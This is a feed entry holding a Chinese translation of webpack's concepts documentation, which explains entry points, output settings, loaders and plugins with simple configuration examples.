    <updated>2017-02-09T07:25:02.000Z</updated>
    
    <content type="html">&lt;p&gt;原文链接：&lt;a href=&quot;https://webpack.js.org/concepts/&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;https://webpack.js.org/concepts/&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;介绍&quot;&gt;&lt;a href=&quot;#介绍&quot; class=&quot;headerlink&quot; title=&quot;介绍&quot;&gt;&lt;/a&gt;&lt;span id=&quot;introduce&quot;&gt;&lt;/span&gt;介绍&lt;/h2&gt;&lt;p&gt;webpack是为了现代Javascript应用而诞生的一个模块打包器。它拥有&lt;a href=&quot;https://webpack.js.org/configuration/&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;惊人的可配置性&lt;/a&gt;，不过，在使用之前我们觉得你必须理解四个核心的概念。&lt;/p&gt;
&lt;p&gt;作为webpack学习之旅的一部分，我们撰写这篇文档旨在给大家展示这些概念的高度概览，不过我们也会提供和概念相关的特定用例的链接。&lt;/p&gt;
&lt;a id=&quot;more&quot;&gt;&lt;/a&gt;
&lt;h3 id=&quot;入口&quot;&gt;&lt;a href=&quot;#入口&quot; class=&quot;headerlink&quot; title=&quot;入口&quot;&gt;&lt;/a&gt;入口&lt;/h3&gt;&lt;p&gt;webpack会根据你的应用的依赖关系创建一张图。这张图的起点被视为入口。入口告诉webpack从哪里开始，以及按照依赖关系图如何去打包。你可以将你的应用的入口看做是上下文根节点或者访问你的应用的第一个文件。&lt;/p&gt;
&lt;p&gt;在webpack中，我们通过在 &lt;a href=&quot;https://webpack.js.org/configuration/&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;webpack配置对象&lt;/a&gt; 中使用 &lt;code&gt;entry&lt;/code&gt; 属性定义入口。&lt;/p&gt;
&lt;p&gt;下面是一个最简单的例子：&lt;/p&gt;
&lt;p&gt;webpack.config.js&lt;/p&gt;
&lt;figure class=&quot;highlight javascript&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;built_in&quot;&gt;module&lt;/span&gt;.exports = &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  entry: &lt;span class=&quot;string&quot;&gt;&#39;./path/to/my/entry/file.js&#39;&lt;/span&gt; &lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;根据你的应用的需求，可以有多种方法去声明入口。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;#entry&quot;&gt;了解更多！&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&quot;输出&quot;&gt;&lt;a href=&quot;#输出&quot; class=&quot;headerlink&quot; title=&quot;输出&quot;&gt;&lt;/a&gt;输出&lt;/h3&gt;&lt;p&gt;当你打包完了所有的资源文件，我们仍然需要告诉webpack哪里去放置我们的应用。webpack的 &lt;code&gt;ouput&lt;/code&gt; 属性描述了webpack如何去处理打包后的代码。&lt;/p&gt;
&lt;p&gt;webpack.config.js&lt;/p&gt;
&lt;figure class=&quot;highlight javascript&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;built_in&quot;&gt;module&lt;/span&gt;.exports = &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  entry: &lt;span class=&quot;string&quot;&gt;&#39;./path/to/my/entry/file.js&#39;&lt;/span&gt;,&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  output: &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    path: path.resolve(__dirname, &lt;span class=&quot;string&quot;&gt;&#39;dist&#39;&lt;/span&gt;),&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    filename: &lt;span class=&quot;string&quot;&gt;&#39;my-first-webpack.bundle.js&#39;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;上面的例子，通过我们定义的 &lt;code&gt;output.filename&lt;/code&gt; 和 &lt;code&gt;ouput.path&lt;/code&gt; 属性去命名我们的包以及确定我们想要将它放置的位置。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ouput&lt;/code&gt; 属性拥有很多的配置功能，但是我们还是应该花一些时间去理解 &lt;code&gt;output&lt;/code&gt; 属性更为通用的配置用例。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;#output&quot;&gt;了解更多！&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&quot;加载器&quot;&gt;&lt;a href=&quot;#加载器&quot; class=&quot;headerlink&quot; title=&quot;加载器&quot;&gt;&lt;/a&gt;加载器&lt;/h3&gt;&lt;p&gt;目标是使得你项目中的所有资源文件成为webpack的关注点，而浏览器无需关心（这并不意味着所有的资源文件都需要一起打包）。webpack 将 &lt;a href=&quot;#modules&quot;&gt;每一个文件（.css，.html，scss，.jpg，etc）视为一个模块&lt;/a&gt;。然而，webpack只能理解Javascript代码。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;当将资源文件添加到你的依赖图中时，webpack中的加载器会将涉及的所有文件统统转化成为模块。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;从高层次上来讲，你的webpack配置主要有两个目的：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;通过特定的加载器识别需要进行转换的文件。（&lt;code&gt;test&lt;/code&gt; 属性）&lt;/li&gt;
&lt;li&gt;将文件进行装换以便于它能够被添加到你的依赖图中（最终添加到你的包中）。（&lt;code&gt;use&lt;/code&gt; 属性）&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;webpack.config.js&lt;/p&gt;
&lt;figure class=&quot;highlight javascript&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;const&lt;/span&gt; config = &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  entry: &lt;span class=&quot;string&quot;&gt;&#39;./path/to/my/entry/file.js&#39;&lt;/span&gt;,&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  output: &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    path: path.resolve(__dirname, &lt;span class=&quot;string&quot;&gt;&#39;dist&#39;&lt;/span&gt;),&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    filename: &lt;span class=&quot;string&quot;&gt;&#39;my-first-webpack.bundle.js&#39;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &amp;#125;,&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;built_in&quot;&gt;module&lt;/span&gt;: &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    rules: [&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;      &amp;#123;test: &lt;span class=&quot;regexp&quot;&gt;/\.(js|jsx)$/&lt;/span&gt;, use: &lt;span class=&quot;string&quot;&gt;&#39;babel-loader&#39;&lt;/span&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    ]&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;上面的配置中我们定义了使用加载器的规则，设置了它的两个必须属性：&lt;code&gt;test&lt;/code&gt; 和 &lt;code&gt;use&lt;/code&gt; 。它告诉webpack编译器下面的事情：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt; “webpack编译器，当你在分析 &lt;code&gt;require()/import&lt;/code&gt; 声明中的路径时，遇到了 ‘.js’ 或者 ‘.jsx’文件，则在将它添加到打包结果之前，使用 &lt;code&gt;babel-loader&lt;/code&gt; 去将它转换为模块。”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;当在你的webpack配置中定义规则时，需要切记你应该在 &lt;code&gt;module.rules&lt;/code&gt; 下面进行定义，而不是 &lt;code&gt;rules&lt;/code&gt;。不过如果你采用了错误的方式webpack也会发出提醒。&lt;/p&gt;
&lt;p&gt;关于加载器还有很多我们没有谈及的特定属性可以进行定义。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;#loader&quot;&gt;了解更多！&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&quot;插件&quot;&gt;&lt;a href=&quot;#插件&quot; class=&quot;headerlink&quot; title=&quot;插件&quot;&gt;&lt;/a&gt;插件&lt;/h3&gt;&lt;p&gt;加载器是基于每个文件执行转换，而&lt;code&gt;plugins&lt;/code&gt; 一般用来（但不局限于）在你的已经打包好的模块的“编译”或是“分块”    期间执行一些操作和自定义的功能（&lt;a href=&quot;#plugins&quot;&gt;或者更多&lt;/a&gt;）。webpakc的插件系统&lt;a href=&quot;https://webpack.js.org/api/plugins/&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;十分强大并且可定制&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;为了使用一个插件，你只需要 &lt;code&gt;require（）&lt;/code&gt; 它并且将它添加到 &lt;code&gt;plugins&lt;/code&gt; 数组。大多数的插件都是可以通过参数进行定制的。因为你可以根据不同目的在同一配置文件中多次使用同一个插件，所以你需要使用 &lt;code&gt;new&lt;/code&gt; 去初始化该插件的实例。&lt;/p&gt;
&lt;p&gt;webpack.config.js&lt;/p&gt;
&lt;figure class=&quot;highlight javascript&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;const&lt;/span&gt; HtmlWebpackPlugin = &lt;span class=&quot;built_in&quot;&gt;require&lt;/span&gt;(&lt;span class=&quot;string&quot;&gt;&#39;html-webpack-plugin&#39;&lt;/span&gt;); &lt;span class=&quot;comment&quot;&gt;//installed via npm&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;const&lt;/span&gt; webpack = &lt;span class=&quot;built_in&quot;&gt;require&lt;/span&gt;(&lt;span class=&quot;string&quot;&gt;&#39;webpack&#39;&lt;/span&gt;); &lt;span class=&quot;comment&quot;&gt;//to access built-in plugins&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;const&lt;/span&gt; config = &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  entry: &lt;span class=&quot;string&quot;&gt;&#39;./path/to/my/entry/file.js&#39;&lt;/span&gt;,&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  output: &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    filename: &lt;span class=&quot;string&quot;&gt;&#39;my-first-webpack.bundle.js&#39;&lt;/span&gt;,&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    path: &lt;span class=&quot;string&quot;&gt;&#39;./dist&#39;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &amp;#125;,&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;built_in&quot;&gt;module&lt;/span&gt;: &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    rules: [&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;      &amp;#123;test: &lt;span class=&quot;regexp&quot;&gt;/\.(js|jsx)$/&lt;/span&gt;, use: &lt;span class=&quot;string&quot;&gt;&#39;babel-loader&#39;&lt;/span&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    ]&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &amp;#125;,&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  plugins: [&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &lt;span class=&quot;keyword&quot;&gt;new&lt;/span&gt; webpack.optimize.UglifyJsPlugin(),&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &lt;span class=&quot;keyword&quot;&gt;new&lt;/span&gt; HtmlWebpackPlugin(&amp;#123;template: &lt;span class=&quot;string&quot;&gt;&#39;./src/index.html&#39;&lt;/span&gt;&amp;#125;)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  ]&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;built_in&quot;&gt;module&lt;/span&gt;.exports = config;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;webpack提供了很多插入即用的插件！可以查看我们的 &lt;a href=&quot;https://webpack.js.org/plugins/&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;插件列表&lt;/a&gt; 以获取更多信息。&lt;/p&gt;
&lt;p&gt;在你的webpack配置中使用插件相当轻松，然而有很多的用例更值得进一步讨论。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;#plugins&quot;&gt;了解更多！&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;入口-1&quot;&gt;&lt;a href=&quot;#入口-1&quot; class=&quot;headerlink&quot; title=&quot;入口&quot;&gt;&lt;/a&gt;&lt;span id=&quot;entry&quot;&gt;&lt;span&gt;入口&lt;/span&gt;&lt;/span&gt;&lt;/h2&gt;&lt;p&gt;正如我们在 &lt;a href=&quot;#introduce&quot;&gt;介绍&lt;/a&gt; 中提及的，在你的webpack配置文件中有多种方式去定义 &lt;code&gt;entry&lt;/code&gt; 属性。我们将要介绍配置 &lt;code&gt;entry&lt;/code&gt; 属性的方法，并且解释为什么它于你可能有用。&lt;/p&gt;
&lt;h3 id=&quot;单入口-简写-语法&quot;&gt;&lt;a href=&quot;#单入口-简写-语法&quot; class=&quot;headerlink&quot; title=&quot;单入口 [简写] 语法&quot;&gt;&lt;/a&gt;单入口 [简写] 语法&lt;/h3&gt;&lt;p&gt;用法：&lt;code&gt;entry: String|Array&amp;lt;String&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;webpack.config.js&lt;/p&gt;
&lt;figure class=&quot;highlight javascript&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;const&lt;/span&gt; config = &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  entry: &lt;span class=&quot;string&quot;&gt;&#39;./path/to/my/entry/file.js&#39;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;built_in&quot;&gt;module&lt;/span&gt;.exports = config;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;以上针对 &lt;code&gt;entry&lt;/code&gt; 属性的单入口语法其实是下面的简写形式：&lt;/p&gt;
&lt;figure class=&quot;highlight javascript&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;const&lt;/span&gt; config = &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  entry: &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    main: &lt;span class=&quot;string&quot;&gt;&#39;./path/to/my/entry/file.js&#39;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;blockquote&gt;
&lt;p&gt;当你传递一个数组给 &lt;code&gt;entry&lt;/code&gt; 属性会发生什么？传递一个文件路径的数组给 &lt;code&gt;entry&lt;/code&gt; 属性会建立一个所谓的“多主入口（multi-main entry）”。当你想要将多个独立的文件以及它们的依赖关系图一起注入到某个“分块（chunk)）”中的时候，这会非常有用。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;当你正在为仅拥有一个入口的应用或者工具（例如：一个库）寻找快速构建webpack应用的方法时，单入口语法将是很不错的选择。然而，当你需要为配置文件进行扩展时，这种语法的灵活性不足。&lt;/p&gt;
&lt;h3 id=&quot;对象语法&quot;&gt;&lt;a href=&quot;#对象语法&quot; class=&quot;headerlink&quot; title=&quot;对象语法&quot;&gt;&lt;/a&gt;对象语法&lt;/h3&gt;&lt;p&gt;用法：&lt;code&gt;entry: {[entryChunkName: String]: String|Array&amp;lt;String&amp;gt;}&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;webpack.config.js&lt;/p&gt;
&lt;figure class=&quot;highlight javascript&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;const&lt;/span&gt; config = &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  entry: &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    app: &lt;span class=&quot;string&quot;&gt;&#39;./src/app.js&#39;&lt;/span&gt;,&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    vendors: &lt;span class=&quot;string&quot;&gt;&#39;./src/vendors.js&#39;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;这种语法较为冗长。然而，在你的应用中使用这种方式定义单个/多个入口最具有可伸缩性。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“可伸缩的webpack配置（scalable webpack configurations）”指的是可以被复用以及能够由其它部分配置组合生成的配置。这是一个很受欢迎的技术，用来将环境，构建目标和运行环境分离。之后在用特定的工具将它们进行合并，例如 &lt;a href=&quot;https://github.com/survivejs/webpack-merge&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;webpack-merge&lt;/a&gt;。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;场景&quot;&gt;&lt;a href=&quot;#场景&quot; class=&quot;headerlink&quot; title=&quot;场景&quot;&gt;&lt;/a&gt;场景&lt;/h3&gt;&lt;p&gt;下面是入口配置的一个列表以及在现实中的用例。&lt;/p&gt;
&lt;h4 id=&quot;分离应用程序和第三方库入口&quot;&gt;&lt;a href=&quot;#分离应用程序和第三方库入口&quot; class=&quot;headerlink&quot; title=&quot;分离应用程序和第三方库入口&quot;&gt;&lt;/a&gt;分离应用程序和第三方库入口&lt;/h4&gt;&lt;p&gt;webpack.config.js&lt;/p&gt;
&lt;figure class=&quot;highlight javascript&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;const&lt;/span&gt; config = &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  entry: &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    app: &lt;span class=&quot;string&quot;&gt;&#39;./src/app.js&#39;&lt;/span&gt;,&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    vendors: &lt;span class=&quot;string&quot;&gt;&#39;./src/vendors.js&#39;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;它做了什么？从表面上来看，它告诉webpack分别从 &lt;code&gt;app.js&lt;/code&gt; 和 &lt;code&gt;vendors.js&lt;/code&gt; 这两个文件开始建立依赖关系图。这两张图完全是分开的，彼此独立（在每个bundle里都有一个webpack引导程序）。在只拥有一个入口的单页应用中通常都是这种情况（除了第三方库之外）。&lt;/p&gt;
&lt;p&gt;为什么？这种配置方式允许你利用 &lt;code&gt;CommonsChunkPlugin&lt;/code&gt; 以及从你的应用程序bundle中提取第三方库的参考文献到第三方库的bundle中，并以 &lt;code&gt;__webpack_require__()&lt;/code&gt; 调用代之。如果在你的应用程序bundle中没有第三方库的代码，你可以在webpack中实现一个公共模式，即所谓的 &lt;a href=&quot;https://webpack.js.org/guides/caching/&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;长期的第三方库缓存（long-term vendor-caching）&lt;/a&gt;。&lt;/p&gt;
&lt;h4 id=&quot;多页应用&quot;&gt;&lt;a href=&quot;#多页应用&quot; class=&quot;headerlink&quot; title=&quot;多页应用&quot;&gt;&lt;/a&gt;多页应用&lt;/h4&gt;&lt;p&gt;webpack.config.js&lt;/p&gt;
&lt;figure class=&quot;highlight javascript&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;const&lt;/span&gt; config = &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  entry: &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    pageOne: &lt;span class=&quot;string&quot;&gt;&#39;./src/pageOne/index.js&#39;&lt;/span&gt;,&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    pageTwo: &lt;span class=&quot;string&quot;&gt;&#39;./src/pageTwo/index.js&#39;&lt;/span&gt;,&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    pageThree: &lt;span class=&quot;string&quot;&gt;&#39;./src/pageThree/index.js&#39;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;它做了什么？我们正在告诉webpack我们想要三个独立的依赖关系图（就像上面例子的配置）。&lt;/p&gt;
&lt;p&gt;为什么？在多页应用中，服务器会取得新的HTML文档给你。页面重新加载新的文档，资源文件也会被重新下载。然而，这给了我们一个特别的机会去做很多事情：&lt;/p&gt;
&lt;p&gt;使用 &lt;code&gt;CommonsChunkPlugin&lt;/code&gt; 在页面之间创建它们所共享的应用程序代码的bundle文件。对于在不同的入口之间复用大量代码和模块的多页应用程序，当入口数量增加的时候，会从此技术上获取很大的益处。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;首要规则：一个HTML文件只使用一个入口。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;输出-1&quot;&gt;&lt;a href=&quot;#输出-1&quot; class=&quot;headerlink&quot; title=&quot;输出&quot;&gt;&lt;/a&gt;&lt;span id=&quot;output&quot;&gt;&lt;/span&gt;输出&lt;/h2&gt;&lt;p&gt;选项影响了编译的输出。&lt;code&gt;output&lt;/code&gt; 选项告诉webpack如何将编译后的文件写入磁盘。注意，虽然在配置中可能会有多个 &lt;code&gt;entry&lt;/code&gt; 节点，但是 &lt;code&gt;output&lt;/code&gt; 配置是唯一指定的。&lt;/p&gt;
&lt;h3 id=&quot;用法&quot;&gt;&lt;a href=&quot;#用法&quot; class=&quot;headerlink&quot; title=&quot;用法&quot;&gt;&lt;/a&gt;用法&lt;/h3&gt;&lt;p&gt;你可以简单地通过在你的webpack配置中设置 &lt;code&gt;output&lt;/code&gt; 属性的值来使用该属性。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;webpack.config.js&lt;/strong&gt;&lt;/p&gt;
&lt;figure class=&quot;highlight javascript&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;const&lt;/span&gt; config = &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  output: &lt;span class=&quot;string&quot;&gt;&#39;bundle.js&#39;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;built_in&quot;&gt;module&lt;/span&gt;.exports = config;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;h3 id=&quot;选项&quot;&gt;&lt;a href=&quot;#选项&quot; class=&quot;headerlink&quot; title=&quot;选项&quot;&gt;&lt;/a&gt;选项&lt;/h3&gt;&lt;p&gt;下面是你可以传递给 &lt;code&gt;output&lt;/code&gt; 属性的值的列表。&lt;/p&gt;
&lt;h4 id=&quot;output-chunkFilename&quot;&gt;&lt;a href=&quot;#output-chunkFilename&quot; class=&quot;headerlink&quot; title=&quot;output.chunkFilename&quot;&gt;&lt;/a&gt;&lt;code&gt;output.chunkFilename&lt;/code&gt;&lt;/h4&gt;&lt;p&gt;在 &lt;code&gt;output.path&lt;/code&gt;指定的文件夹中以一个相对路径形式给出的的非入口块的文件名。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;[id]&lt;/code&gt; 被分块的id取代&lt;/p&gt;
&lt;p&gt;&lt;code&gt;[name]&lt;/code&gt; 被分块的名字取代（或者当分块没有名字时被id取代）&lt;/p&gt;
&lt;p&gt;&lt;code&gt;[hash]&lt;/code&gt; 被编译后的hash值取代&lt;/p&gt;
&lt;p&gt;&lt;code&gt;[chunkhash]&lt;/code&gt;  被分块的hash取代&lt;/p&gt;
&lt;h4 id=&quot;output-crossOriginLoading&quot;&gt;&lt;a href=&quot;#output-crossOriginLoading&quot; class=&quot;headerlink&quot; title=&quot;output.crossOriginLoading&quot;&gt;&lt;/a&gt;&lt;code&gt;output.crossOriginLoading&lt;/code&gt;&lt;/h4&gt;&lt;p&gt;这个选项运行分块的跨域加载。&lt;br&gt;可能的值有：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;false&lt;/code&gt; - 禁止跨域加载。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&amp;quot;anonymous&amp;quot;&lt;/code&gt; - 跨域加载是激活的。当使用 &lt;code&gt;anonymous&lt;/code&gt; 时发送请求无需凭证。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&amp;quot;use-credentials&amp;quot;&lt;/code&gt; - 跨域加载是激活的并且发送请求时需要凭证。&lt;/p&gt;
&lt;p&gt;期望了解关于跨域的更多信息请访问 &lt;a href=&quot;https://developer.mozilla.org/en/docs/Web/HTML/Element/script#attr-crossorigin&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;MDN&lt;/a&gt;。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;默认值： &lt;code&gt;false&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
